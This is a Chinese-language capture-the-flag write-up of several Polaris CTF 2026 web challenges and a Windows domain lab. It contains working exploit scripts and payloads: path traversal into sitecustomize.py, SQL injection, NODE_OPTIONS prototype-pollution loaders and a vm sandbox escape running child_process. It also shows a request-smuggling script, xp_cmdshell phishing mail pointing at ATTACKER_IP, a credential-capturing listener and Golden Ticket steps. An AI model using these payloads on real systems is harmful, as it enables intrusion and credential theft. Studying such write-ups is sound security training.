首页
网络安全文章
PolarisCTF2026--WebWriteUp"
Polaris CTF 2026--Web WriteUp
原创
星盟安全团队
星盟安全团队
星盟安全团队
2026年10月11日 12:21
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
AutoPypy
题目给了源码,审计一下 server.py。有两个路由:upload 和 run。upload 给了一个上传到 upload 文件夹的功能点,run 是一个通过 launcher.py 在沙箱内执行 Python 代码的功能,launcher 中的命令是通过 proot 执行上传的 Python 文件。
0x01 /upload 目录存在目录穿越漏洞
首先看 upload 路由,upload 路由通过过滤 .. 防止了通过 ../ 导致的目录穿越,然后使用 os.path.join 对路径进行拼接。
os.path.join(\"/app/upload\", \"/tmp/success\")
的返回结果会变成 /tmp/success。也就是说,upload 路由存在目录穿越漏洞。
0x02 sitecustomize.py 的妙用
在 Python 解释器的初始化过程中,Python 会尝试导入一个名为 sitecustomize 的模块,这个模块存放在 site-package 目录下。
也就是说,在 Python 解释器启动时,如果 site-package 目录下存在 sitecustomize.py 文件,Python 解释器会预先执行 sitecustomize.py 中的代码。
0x03 server.py 中调用 proot 隔离环境的方法
在题目中,沙箱使用的 proot 项目,proot 通过 ptrace 劫持系统调用,修改系统调用参数中的路径,使得通过 proot 运行的程序被限制在指定的 jail 目录中。
假设 proot 是坚固的,那么题目是否就无解了?
我们回头看 server.py 中调用 proot 的方法,其实是通过调用 subprocess.run 启动了一个子进程,使用靶机的 Python 执行了 launcher.py,再由 launcher.py 在沙箱中执行上传的 Python 文件。到这里就能发现,执行 launcher.py 的过程是发生在沙箱外的,我们就可以从中作梗。
结合之前的目录穿越漏洞,是否就可以通过上传 sitecustomize.py 到靶机 Python 环境的 site-package 目录下的方式,让沙箱外的 Python 执行我们上传的代码,从而实现沙箱逃逸呢?
抓 HTTP 的返回包可以确定 Python 的版本是 3.10。
于是我们就能确定 site-package 目录的位置为:
/usr/local/lib/python3.10/site-packages
0x04 EXP
import requestsimport json
def poc1(url): headers = { \"Content-Length\": \"139\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundarywysbW5PXayhcrNyQ\", } files = { \"file\": ( \"/usr/local/lib/python3.10/site-packages/sitecustomize.py\", \"\"\"import osflag = os.popen(\"cat /flag\").read()print(flag)\"\"\", \"image/png\", ) } res = requests.post(url=url, headers=headers, files=files, verify=False) return res.text
def poc2(url): headers = { \"Content-Length\": \"139\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundarywysbW5PXayhcrNyQ\", } files = {\"file\": (\"1.py\", \"print('1')\", \"image/png\")} res = requests.post(url=url, headers=headers, files=files, verify=False) return res.text
def pocRun(url): headers = { \"Content-Length\": \"183\", \"Content-Type\": \"application/json\", } res = requests.post( url=url, headers=headers, data=json.dumps({\"filename\": \"1.py\"}), verify=False, ) return res.text
if __name__ == '__main__': url = input(\"Input the url\") upload = f\"http://{url}/upload\" run = f\"http://{url}/run\" poc1(upload) poc2(upload) print(pocRun(run))
Broken Trust
首页是一个用user id的登录页面
6193eb4443e14ea9b98ab0db72310b06
<script> async function refreshProfile() { const uid = \"6193eb4443e14ea9b98ab0db72310b06\"; // 现在是字符串 const msg = document.getElementById('msg'); msg.innerText = \"Syncing with API...\";
try { const response = await fetch('/api/profile', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ uid: uid }) // 发送字符串 }); const data = await response.json(); if(data.username) { msg.innerText = \"Session synced. Current user: \" + data.username; } else { msg.innerText = \"Sync failed: \" + (data.error || \"Unknown error\"); } } catch (e) { msg.innerText = \"Error connecting to API.\"; } }</script>
这里面有一个api,或者目录扫描也能发现
{\"uid\":\"1' or '1'='1\"}
true了之后,返回了admin的uid。直接登录
1. ?action=backup&file=..%252F..%252F..%252Fflag2. ?action=backup&file=%252Fflag# 在 Linux 下,多个连续斜杠 // 代表根目录
DXT
下载npm的dxt生成工具https://github.com/modelcontextprotocol/mcpb或者去github上下一个已经打包好的.dxt文件
ezpollute
访问/api/config进行污染
报错读import{readFileSync}from'fs';throw new Error(readFileSync('/flag'))
{ \"constructor\": { \"prototype\": { \"NODE_OPTIONS\": \"--experimental-loader data:text/javascript;base64,aW1wb3J0e3JlYWRGaWxlU3luY31mcm9tJ2ZzJzt0aHJvdyBuZXcgRXJyb3IocmVhZEZpbGVTeW5jKCcvZmxhZycpKQ==\" } }}
报错读:import{execSync}from'child\_process';throw new Error(execSync('cat /flag').toString());
{ \"constructor\": { \"prototype\": { \"NODE_OPTIONS\": \"--experimental-loader data:text/javascript;base64,aW1wb3J0e2V4ZWNTeW5jfWZyb20nY2hpbGRfcHJvY2Vzcyc7dGhyb3cgbmV3IEVycm9yKGV4ZWNTeW5jKCdjYXQgL2ZsYWcnKS50b1N0cmluZygpKTs=\" } }}
也可以写文件import{execSync}from'child\_process';execSync('cat /flag >1.txt').toString();
{ \"constructor\": { \"prototype\": { \"NODE_OPTIONS\": \"--experimental-loader data:text/javascript;base64,aW1wb3J0e2V4ZWNTeW5jfWZyb20nY2hpbGRfcHJvY2Vzcyc7ZXhlY1N5bmMoJ2NhdCAvZmxhZyA+MS50eHQnKS50b1N0cmluZygpOw==\" } }}
访问/api/status触发
ezpython
POST / HTTP/1.1Host: xxxxxxxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 49
{ \"config\": { \"filename\": \"/flag\" }}
总体思路就是污染一下config来读取根目录下的flag
然后触发read路由就可以成功覆盖
index()会把请求体JSON递归地merge进全局地instance对象,并且merge()函数:
不过滤任何魔术属性(\xxx \ );
当某键已存在且值是dict时,会继续向下递归地读取对象属性(getattr(dst,k);
可以一路从实例对象走到类对象->函数对象->函数的__globals__、
核心逻辑
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): # 以此来判断“像字典” if dst.get(k) and type(v) == dict: # 递归合并 merge(v, dst.get(k)) else: dst[k] = v # 直接覆盖 elif hasattr(dst, k) and type(v) == dict: # 目标对象已有该属性 → 继续向内递归 merge(v, getattr(dst, k)) else: setattr(dst, k, v) # 给对象随意长属性
路由/会把请求体JSON照样做json.loads并喂给merge(...,instance)
一旦目标对象dst已经有同名属性且v是字典,就会继续向该属性对象递归
“递归合并”+“魔术属性可写” -> 从实例对象沿着实例 -> 类 -> 函数 -> 模块全局字典的链子,改写全局变量
BunEdge
题目概述
BunEdge 模拟了一个 Serverless Edge 计算平台(类似 Cloudflare Workers / Vercel Edge Functions)。用户可以在 Dashboard 中编写、部署并运行 Edge 函数。平台底层使用 Bun 的 node:vm 模块创建 JSC sandboxed context 来隔离用户代码,但因 Bun FFI 使用不当,导致沙箱内可直接调用宿主原生函数。
漏洞成因
平台团队编写了 libruntime.so,包含高性能工具函数 (fast_hash, str_length)
开发期间 ,为了方便调试配置加载,在同一个 .so 中加了一个 read 函数(_0x72656164)
上线前忘了从 .so 中 strip 掉 该函数,导致其仍作为导出符号存在
Bun 的 FFI (bun:ffi) 通过 dlopen 加载 .so,自动绑定了所有导出符号
开发者将 FFI lib 引用挂到了 __runtime._internal 上,方便平台内部调用
为了\"隐藏\"这个内部接口,使用了 Object.defineProperty 设置 enumerable: false
解题步骤
Step 1: 环境探索
打开 BunEdge Dashboard,注意以下线索:
文档 \"Advanced\" 区域:\"Platform orchestration may rely on additional internal bindings not listed here.\"
底部状态栏:\"JSC Sandboxed Context | Not all properties are enumerable\"
Utilities 文档中的示例:hexEncode(\"internal\") -> 696e7465...
用 Object.keys() 探索 __runtime:
export default { fetch(req) { return new Response(JSON.stringify(Object.keys(__runtime))); }}
输出: [\"hash\",\"strlen\",\"platform\",\"perf\",\"encoding\",\"_debug\",\"_secrets\"]
_debug 和 _secrets 都是死胡同。
Step 2: 反射突破不可枚举属性
状态栏暗示 \"Not all properties are enumerable\"。使用 Object.getOwnPropertyNames():
export default { fetch(req) { return new Response(JSON.stringify({ keys: Object.keys(__runtime), allProps: Object.getOwnPropertyNames(__runtime) }, null, 2)); }}
allProps 中多出了 \"_internal\"!
继续探索 _internal:
export default { fetch(req) { const internal = __runtime._internal; return new Response(JSON.stringify({ hasLib: 'lib' in internal, symbols: internal.lib ? Object.keys(internal.lib.symbols) : null }, null, 2)); }}
输出:
{ \"hasLib\": true, \"symbols\": [\"_0x72656164\", \"_0x6c697374\"]}
发现了 FFI 原生库的所有导出符号,其中有两个 hex 编码的函数名。
Step 3: 解码 + 辨别 + 构造 Exploit
解码函数名:
_0x72656164 → read(72=r 65=e 61=a 64=d)
_0x6c697374 → list(6c=l 69=i 73=s 74=t)
_0x6c697374 是 decoy(返回虚假目录列表),真正的读文件函数是 _0x72656164。
最终 exploit:
export default { fetch(req) { const ffi = __runtime._internal.lib; const encoder = new TextEncoder(); const path = encoder.encode('/flag\\0'); const flag = ffi.symbols['_0x72656164'](path); return new Response(flag); }}
输出:
flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
only real
描述:也许只有一个是真的
拿到默认账号和密码:xmuser/123456
抓包看到cookie,使用jwt爆破工具爆破出密钥是cdef
伪造cookie登录admin账户
进入admin账户,然后测试出留言板具有xml注入,发现过来file协议,然后采用127.0.0.1
```
<?xml version=\"1.0\"?>
]>
```
Polaris OA
先注册一个账号1/123456,然后利用/user/..;x=1/admin到admin界面
先上传一个txt
POST /user/..;x=1/fileUpload?method=upload&maxSize=10485760 HTTP/1.1Host: 192.168.247.129:8080Referer: http://192.168.247.129:8080/user/..;x=1/adminOrigin: http://192.168.247.129:8080Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=----geckoformboundaryd928f864f9172e8951f78f77967e337fCookie: JSESSIONID=2C4B817D289AC82507313461060D7B41Priority: u=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0Accept: */*Content-Length: 448
------geckoformboundaryd928f864f9172e8951f78f77967e337fContent-Disposition: form-data; name=\"file1\"; filename=\"test.txt\"Content-Type: text/plain
111------geckoformboundaryd928f864f9172e8951f78f77967e337fContent-Disposition: form-data; name=\"isEncrypt\"
true------geckoformboundaryd928f864f9172e8951f78f77967e337fContent-Disposition: form-data; name=\"maxSize\"
10485760------geckoformboundaryd928f864f9172e8951f78f77967e337f--
然后拿uuid1生成uuid2
POST /user/..;x=1/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService HTTP/1.1Host: 192.168.247.129:8080Accept-Encoding: gzip, deflateReferer: http://192.168.247.129:8080/user/..;x=1/adminOrigin: http://192.168.247.129:8080Priority: u=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0Cookie: JSESSIONID=2C4B817D289AC82507313461060D7B41Accept: */*Content-Type: application/x-www-form-urlencodedAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Content-Length: 26
args=[1,17720130743525019]
拿uuid2
再上传恶意bin,拿uuid3
文件覆盖
POST /user/..;x=1/docController?method=checkIsSign HTTP/1.1Host: 192.168.247.129:8080Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Referer: http://192.168.247.129:8080/user/..;x=1/adminAccept: */*Content-Type: application/x-www-form-urlencodedCookie: JSESSIONID=2C4B817D289AC82507313461060D7B41Accept-Encoding: gzip, deflatePriority: u=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0Origin: http://192.168.247.129:8080Content-Length: 26
recordId=1&fileList=17720131937895805$..%252f..%252fuploads%252f17720130945705203_parsed
最后反序列化RCE
POST /user/..;x=1/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData HTTP/1.1Host: 192.168.247.129:8080Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Referer: http://192.168.247.129:8080/user/..;x=1/adminAccept: */*Content-Type: application/x-www-form-urlencodedCookie: JSESSIONID=2C4B817D289AC82507313461060D7B41Accept-Encoding: gzip, deflatePriority: u=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0Origin: http://192.168.247.129:8080Content-Length: 26
args=[1,17720130945705203]
内存马就打进去了
Polyglot's Paradox v2 - Hell Mode
概述
本题是一道黑盒 Web 挑战,选手不会拿到任何源码,需要通过接口探测和响应分析逐步推断漏洞并完成 6 步攻击链。
预期攻击链为:HTTP 请求走私 → HMAC Secret 泄露 → HMAC 认证 → 原型链污染 → AST WAF 绕过 → VM 沙箱逃逸 。
Step 1:信息收集
1.1 探测公开端点
访问根路径和 /api/info 获取基本信息:
curl http://target:9999/curl http://target:9999/api/info
从 /api/info 响应中可以得知:
存在公开的沙箱执行端点 /api/sandbox/execute
存在调试端点 /debug/prototype 和 /debug/config
提示\"存在内部端点但代理不会让你直接访问\"
声明使用了 \"AST-level WAF powered by acorn\"
1.2 分析响应头
任何请求的响应头中包含:
ounter(lineounter(lineounter(lineX-Proxy: Paradox-Gateway/2.0X-Backend: hiddenX-Parser: content-length-only
关键线索:X-Parser: content-length-only 暗示代理只使用 Content-Length 解析请求。
1.3 阅读提示
curl http://target:9999/api/hint
返回 6 条渐进提示,每条对应一个攻击步骤。第 1 条明确提到:
\"Two parsers read the same bytes. One counts characters (Content-Length), the other reads chunks (Transfer-Encoding). When both headers are present, who is right?\"
这直接指向 CL.TE HTTP Request Smuggling 。
1.4 确认 ACL
curl http://target:9999/internal/admin# 返回 403: \"Access denied\"
代理拦截了所有 /internal/* 路径。
Step 2:HTTP Request Smuggling (CL.TE)
2.1 原理
代理使用 Content-Length 确定请求体边界,后端使用 Transfer-Encoding: chunked。当请求同时包含两个头时:
代理读取 Content-Length 指定的字节数,认为请求结束
后端按 chunked 解析,遇到 0\\r\
\\r\ 认为第一个请求结束
0\\r\
\\r\ 之后的数据被后端视为新的独立请求 ,绕过了代理的 ACL 检查
2.2 构造走私请求
smuggled = \"GET /internal/admin HTTP/1.1\\r\
Host: target\\r\
\\r\
\"te_body = \"0\\r\
\\r\
\" + smuggled
outer = ( f\"POST /api/info HTTP/1.1\\r\
\" f\"Host: target\\r\
\" f\"Content-Length: {len(te_body)}\\r\
\" f\"Transfer-Encoding: chunked\\r\
\" f\"\\r\
\" f\"{te_body}\")
代理看到的是一个发往 /api/info 的合法请求(不在 ACL 黑名单中),将整个数据转发给后端。后端按 chunked 解析,0\\r\
\\r\ 结束第一个请求,剩余数据成为第二个请求 GET /internal/admin。
2.3 验证
走私 GET /internal/admin 成功后,响应中包含:
{ \"congratulations\": \"Step 2 complete: Proxy ACL bypassed via HTTP Request Smuggling.\", \"next_steps\": [ \"GET /internal/secret-fragment - Collect HMAC secret fragments\", \"POST /internal/config - Update server config (HMAC auth required)\" ], \"authentication\": { \"method\": \"HMAC-SHA256\", \"signature_format\": \"HMAC-SHA256(key, timestamp + ':' + nonce + ':' + requestBody)\" }}
Step 3:HMAC Secret 泄露
3.1 获取碎片
走私 GET /internal/secret-fragment:
result = smuggle_request(\"GET\", \"/internal/secret-fragment\")
响应返回 HMAC secret 的碎片:
{ \"fragments\": [ {\"index\": 0, \"value\": \"z3_w\"}, {\"index\": 1, \"value\": \"0nt_\"}, {\"index\": 2, \"value\": \"A_gr\"}, {\"index\": 3, \"value\": \"i1fr\"}, {\"index\": 4, \"value\": \"1e0d\"}, {\"index\": 5, \"value\": \"!!!\"} ], \"verification\": {\"md5\": \"c6d0df23dc2e89a88fa8f6a7fc624cb7\"}}
3.2 重建 Secret
按 index 排序拼接:z3_w0nt_A_gri1fr1e0d!!!
用 MD5 校验确认正确(MD5: c6d0df23dc2e89a88fa8f6a7fc624cb7)。
Step 4:原型链污染
4.1 构造 HMAC 签名
根据 /internal/admin 中的认证格式说明:
import hmac, hashlib, uuid, time, json
secret = \"z3_w0nt_A_gri1fr1e0d!!!\"timestamp = str(int(time.time() * 1000))nonce = uuid.uuid4().hexbody = json.dumps(payload)
message = f\"{timestamp}:{nonce}:{body}\"token = hmac.new(secret.encode(), message.encode(), hashlib.sha256).hexdigest()
请求头:
X-Internal-Token: HMAC 签名(hex)
X-Timestamp: 毫秒时间戳
X-Nonce: 唯一随机字符串
4.2 发送污染 Payload
走私 POST /internal/config,请求体:
{ \"__proto__\": {\"polluted\": \"yes\"}, \"features\": { \"astWaf\": false, \"sandboxHardening\": false }}
unsafeDeepMerge 函数在处理 __proto__ 键时会写入 Object.prototype,导致所有对象继承 polluted: \"yes\" 属性。同时直接修改 globalConfig.features.astWaf 和 globalConfig.features.sandboxHardening 为 false。
4.3 验证污染
curl http://target:9999/debug/prototype
响应变为:
{ \"status\": {\"polluted\": \"yes\"}, \"wafStatus\": \"DISABLED (!!)\", \"sandboxStatus\": \"WEAKENED (!!)\"}
Step 5:AST WAF 绕过 + VM 沙箱逃逸
5.1 WAF 已禁用
原型链污染将 globalConfig.features.astWaf 设为 false,WAF 检查函数 astWafCheck() 的第一行就会返回 { safe: true },跳过所有检测。
5.2 沙箱已弱化
globalConfig.features.sandboxHardening 被设为 false,沙箱执行函数进入弱化分支:没有 Proxy 拦截、没有 Object.freeze、没有原型链清理。这是经典的 vm.createContext 沙箱,可以通过 this.constructor.constructor 逃逸。
5.3 逃逸 Payload
this.constructor.constructor(\"return this.process\")() .mainModule.require(\"child_process\") .execSync(\"cat /flag\").toString()
原理:
this.constructor → 沙箱内对象的构造函数
.constructor → Function 构造函数(来自沙箱外部)
Function(\"return this.process\")() → 获取宿主环境的 process 对象
process.mainModule.require → 获取 require 函数
require(\"child_process\").execSync(\"cat /flag\") → 执行系统命令读取 flag
5.4 发送请求
现在可以直接通过公共端点 执行(WAF 已禁用):
curl -X POST http://target:9999/api/sandbox/execute \\ -H \"Content-Type: application/json\" \\ -d '{\"code\":\"this.constructor.constructor(\\\"return this.process\\\")().mainModule.require(\\\"child_process\\\").execSync(\\\"cat /flag\\\").toString()\"}'
返回:
{\"success\": true, \"result\": \"flag{p0lygl0t_p4r4d0x_h3ll_m0d3_2024}\"}
完整 Exploit 脚本
见 exploit.py,运行方式:
python3 exploit.py <target_host> <target_port>
防护措施总结
本题设计了以下防护确保选手必须走完完整攻击链:
防护层
机制
绕过方式
Proxy ACL
拦截 /internal/* 路径
CL.TE HTTP Request Smuggling
HMAC 认证
SHA256 签名 + 时间戳 + nonce 防重放
走私访问 /internal/secret-fragment 获取 secret
AST WAF
acorn 解析 + 30+ 正则规则
原型链污染 astWaf=false 禁用
沙箱加固
Proxy 拦截 + Object.freeze + 原型链清理
原型链污染 sandboxHardening=false 弱化
VM 沙箱
vm.createContext
this.constructor.constructor 经典逃逸
每一层防护都需要前一步的突破才能绕过,形成严格的链式依赖。
头像上传器
一开始可以注册和登录,随便注册一个账号后发现可以上传文件,发现对上传文件的内容没有检查,但是有上传白名单。
这里可以fuzz上传后缀,发现有svg,或者之间看网页源码发现可以传svg文件
醉里挑灯看剑
'use strict';
const BASE = process.argv[2] || 'http://127.0.0.1:8080';
async function requestJson(method, path, body, token) { const headers = { 'Content-Type': 'application/json' };
if (token) { headers.Authorization = `Bearer ${token}`; }
const res = await fetch(`${BASE}${path}`, { method, headers, body: body ? JSON.stringify(body) : undefined });
const text = await res.text(); try { return JSON.parse(text); } catch { throw new Error(`Invalid JSON response from ${path}: ${text}`); }}
async function main() { const guest = await requestJson('POST', '/api/auth/guest', {}); const token = guest.token; if (!token) { throw new Error('failed to get guest token'); } console.log('[+] guest token issued');
const syncResult = await requestJson('POST', '/api/caps/sync', { ops: [ { source: 'a:shape-anchor', note: 'sorted first row, no role/lane keys', keepRole: false, keepLane: false }, { source: 'z:normal-row', note: 'looks normal but shape already poisoned', keepRole: true, keepLane: true } ] }, token);
console.log('[+] synced capability rows:', syncResult);
const challenge = await requestJson('POST', '/api/release/challenge', {}, token); if (!challenge.nonce) { throw new Error(`challenge failed: ${JSON.stringify(challenge)}`); } console.log('[+] release challenge:', challenge);
const expression = [ '(()=>{', ' const g = glo\\\\u0062alThis;', \" const b = g['B\\\\u0075n'];\", \" return tools.sha1(session.sid + ':' + input.nonce + ':' + b.env.RUNNER_KEY);\", '})()' ].join('\
');
const execResult = await requestJson('POST', '/api/release/execute', { expression, input: { nonce: challenge.nonce } }, token);
const proof = execResult.result; if (!proof || typeof proof !== 'string') { throw new Error(`unexpected execute output: ${JSON.stringify(execResult)}`); }
console.log('[+] computed proof:', proof);
const claim = await requestJson('POST', '/api/release/claim', { nonce: challenge.nonce, proof }, token);
console.log('[+] final claim response:'); console.log(JSON.stringify(claim, null, 2));}
main().catch((err) => { console.error('[-] exploit failed:', err.message); process.exit(1);});
BabyDC- Description
🦇 血色城堡的试炼
夜色如墨,雾气在古老的塔尖缭绕。 在这片孤悬于暗影海上的废墟之上,Baby\_DC 伫立着。城堡的石墙布满岁月的裂纹,残留的铭文仿佛低语着血与权力的秘密。 传说,城堡的深处封印着至高无上的力量——域控之主的遗产 。而唯有勇敢、狡黠且敏锐的猎人,才能步入这片黑暗迷宫。
你,是被命运选中的Ctfer。你手持智慧的鞭子,心怀猎魔者的冷冽与坚毅。你的任务,是沿着蛛丝般的漏洞链,一步步解锁城堡的秘密,最终夺取支配之力。
🔮 城堡探秘指南
城堡区域
暗影线索
猎人行动
前庭:破碎的彩窗
IIS 的古老铭文残缺不全,短名如裂纹映出真实文件的轮廓
循着残存的光影,找到被隐藏的卷轴
图书馆:尘封的藏书库
MSSQL 的书架错位排列,Linked Server 的符文彼此共鸣
借由错误的多重咒文,踏入高阶的禁区
地下水脉:沉睡的地道
黑暗中回荡着隐秘的回声,服务之魂在隧道中低语
唤醒支配之力,挖掘幽深的隧道
礼拜堂:幽魂的邮驿室
邮箱如祭祀符文闪烁,信件承载着未被察觉的低语
欺瞒死神的信使,诱出被遗忘的名字与密语
时钟塔:失序的混沌戒指
Kerberos 的齿轮开始逆转,身份与时间失去秩序
双重咒印崩解,开启逆城的大门
血色密室:禁忌的灵魂之匣
Registry Hive 如封存灵魂的容器,机器的记忆在哭泣
窃取三份古文书,汲取魔王的暗影之力
王座室:不灭的护身符
域控之主的权柄凝结为黄金之证,欺骗身份与历史
铸造并注入黄金之证,坐上血红的王座
终焉之间:血之圣杯
Flag 是逆城的核心封印,亦是支配的终点
完成仪式,读取隐藏 Flag,城堡隐于月下
Castlevania - Credentials
步骤
获取方式
凭据
用途
2
IIS 8.3 短文件名 + fuzz
wuwupor:lovlyBaby
MSSQL 低权限登录
4
SMTP欺骗
p2zhh:p2zhh_web
域用户,用于 Kerberos 查询
6
Kerberoasting/AS-REP + hashcat
mowen:1maxwell
Backup Operators 成员
9
注册表 Hive → DCSync
krbtgt:1e3c4fe72e1383c576b4b3aeef4730a8
伪造 Golden Ticket
10
Golden Ticket
Administrator (伪造)
域管理员权限
Castlevania - Attack Chain
[信息收集] nmap 端口扫描 ↓[Web渗透] IIS 8.3 短文件名泄露 → 定向 fuzz → 获取数据库凭据 ↓[数据库] MSSQL Linked Server 配置错误 → 低权限提升至 sa ↓[命令执行] xp_cmdshell → 本地命令执行 (xmcve\\sqlsvc) ↓[内网探测] 发现 SMTP 邮件 → 获取域用户凭据 p2zhh ↓[域渗透] Kerberoasting / AS-REP Roasting → 破解 mowen 密码 ↓[权限提升] Backup Operators → 导出注册表 Hive ↓[域控接管] secretsdump 提取 krbtgt hash → Golden Ticket ↓[最终目标] 域管理员权限 → 读取 Flag
Castlevania - Write Up
Bloodstained Ova
VirtualBox Version
靶机信息
IP: 192.168.0.xxx(根据桥接网卡不同而改变)
域名: XMCVE.local
主机名: CASTLEVANIA
操作系统: Windows Server 2019 (域控制器)
难度: 中高
Flag 位置: C:\\Users\\Administrator\\Desktop\\flag.txt
第一步:信息收集
1.1 端口扫描
nmap -sT -sV -sC -p- --min-rate 5000 192.168.0.222 -oA scans/castlevania
关键端口:
端口
服务
版本/说明
53
DNS
Simple DNS Plus
80
HTTP
Microsoft IIS httpd 10.0
88
Kerberos
域控认证服务
135
MSRPC
Windows RPC
139
NetBIOS
NetBIOS Session
389
LDAP
AD LDAP (XMCVE.local)
445
SMB
SMBv3 (signing required)
1433
MSSQL
SQL Server 2016 SP2
3268
LDAP GC
Global Catalog
注意: SMTP 端口 25 仅在靶机本地监听(127.0.0.1:25),外部 nmap 扫描不可见。需要通过 xp\_cmdshell 在靶机内部发现。
分析: 目标同时运行 Web 服务、数据库和域控制器,属于单机 DC + 业务服务合一的架构。端口 88 和 389 表明这是一台域控制器,nmap 的 ms-sql-ntlm-info 脚本泄露域名 XMCVE.local 和主机名 CASTLEVANIA。
第二步:IIS 8.3 短文件名泄露
2.1 常规目录枚举
gobuster dir -u http://192.168.0.222/ -w /usr/share/wordlists/dirb/common.txt -t 50
常规枚举无明显发现,页面仅显示 \"Employee Portal - Under maintenance...\"。
2.2 检测 8.3 短文件名漏洞
IIS 在 Windows 上默认启用 8.3 短文件名(NTFS 兼容特性)。可以利用 HTTP 响应差异来枚举短文件名。
# 使用 shortscan 工具shortscan http://192.168.0.222/
发现:
[+] File: /POO_CO~1.TXT (Status: 200)
原理: Windows NTFS 会为长文件名自动生成 8.3 格式的短文件名。IIS 对存在和不存在的短文件名返回不同的 HTTP 状态码,攻击者可以逐字符枚举出短文件名。
2.3 定向 Fuzz 还原完整文件名
已知短文件名前缀为 poo_co,需要 fuzz 出完整文件名:
# 从字典中提取以 \"co\" 开头的单词grep -i \"^co\" /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt > co_fuzz.txt
# 定向 fuzzwfuzz -c -w co_fuzz.txt -u \"http://192.168.0.222/poo_FUZZ.txt\" --hc 404
命中:
000000XXX: 200 C=XXL \"connection\"
完整文件名为 poo_connection.txt。
2.4 读取凭据文件
curl -s http://192.168.0.222/poo_connection.txt
输出:
server=localhost;user=wuwupor;password=lovlyBabydatabase=master
收获: 获得 MSSQL 数据库凭据 wuwupor:lovlyBaby。
第三步:MSSQL Linked Server 提权
3.1 连接数据库
成功登录。
3.2 检查当前权限
SELECT SYSTEM_USER;-- 输出: wuwupor
SELECT IS_SRVROLEMEMBER('sysadmin');-- 输出: 0 (非 sysadmin,权限很低)
3.3 枚举 Linked Server
SELECT srvname FROM sysservers;
输出:
CASTLEVANIAPOO_CONFIGPOO_PUBLIC
发现名为 POO_CONFIG和POO_PUBLIC 的 Linked Server。
3.4 通过 Linked Server 提权
-- 检查通过 Linked Server 执行时的身份EXEC ('EXEC (''SELECT SUSER_NAME();'') AT [POO_PUBLIC]') AT [POO_CONFIG];
输出:
关键发现! Linked Server POO_CONFIG 配置错误,将所有登录映射到 sa 账户。这意味着低权限的 wuwupor 可以通过 Linked Server 以 sa 身份执行任意 SQL 命令。
3.5 通过 xp\_cmdshell 获取命令执行
-- 通过 Linked Server 以 sa 身份执行系统命令EXEC ('EXEC (''xp_cmdshell ''''whoami'''' '') AT [POO_PUBLIC]') AT [POO_CONFIG];
输出:
成功获得操作系统命令执行权限,当前身份为域用户 xmcve\\sqlsvc。
第四步:SMTP 钓鱼攻击 - 获取域用户凭据
4.1 发现 SMTP 服务
EXEC ('EXEC (''xp_cmdshell ''''netstat -ano ^| findstr LISTENING'''' '') AT [POO_PUBLIC]') AT [POO_CONFIG];
发现 25 端口(SMTP)正在监听。
4.2 在 Kali 上启动监听器
# 方法一:简单 nc(每次只捕获一个 POST,需重复)nc -lnvp 80
# 方法二:Python 持久监听(推荐,可捕获所有 POST)python3 -c \"from http.server import HTTPServer, BaseHTTPRequestHandlerclass H(BaseHTTPRequestHandler): def do_POST(self): body = self.rfile.read(int(self.headers.get('Content-Length',0))).decode() print(f'[+] {body}') self.send_response(200); self.end_headers(); self.wfile.write(b'OK') def log_message(self,*a): passHTTPServer(('0.0.0.0',80),H).serve_forever()\"
4.3 SMTP-钓鱼邮件
注意: 考点在于swaks邮件欺骗,SMTP 端口 25 仅在靶机本地监听,外部无法直接访问。攻击者可以通过代理转发进行swaks欺骗,也可以通过已获得的 xp\_cmdshell 在靶机本地发送邮件
-- 通过 Linked Server 以 sa 身份,利用 xp_cmdshell 调用 PowerShell 发送邮件EXEC ('EXEC (''xp_cmdshell ''''powershell -Command \"Send-MailMessage -To [email protected] -From [email protected] -Subject test -Body http://ATTACKER_IP/ -SmtpServer 127.0.0.1\"'''' '') AT [POO_PUBLIC]') AT [POO_CONFIG];
http://ATTACKER\_IP/ 这里替换为监听端口的ip地址
推荐使用kali工具swaks进行欺骗枚举
替换说明:
ATTACKER_IP: 你的 Kali IP(如 192.168.0.108)
邮件正文只需包含 URL,Bot 会自动提取并访问
4.4 捕获凭据
靶机上有邮件处理机器人,会模拟用户点击邮件中的链接并提交登录凭据。在 nc 监听器上会陆续收到多个 POST 请求:
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] XXXXXPOST /remote/auth/login.aspx HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...Host: ATTACKER_IP
LoginType=Explicit&user=pr3d1ct&password=yuyan_crypto&domain=XMCVE.LOCAL
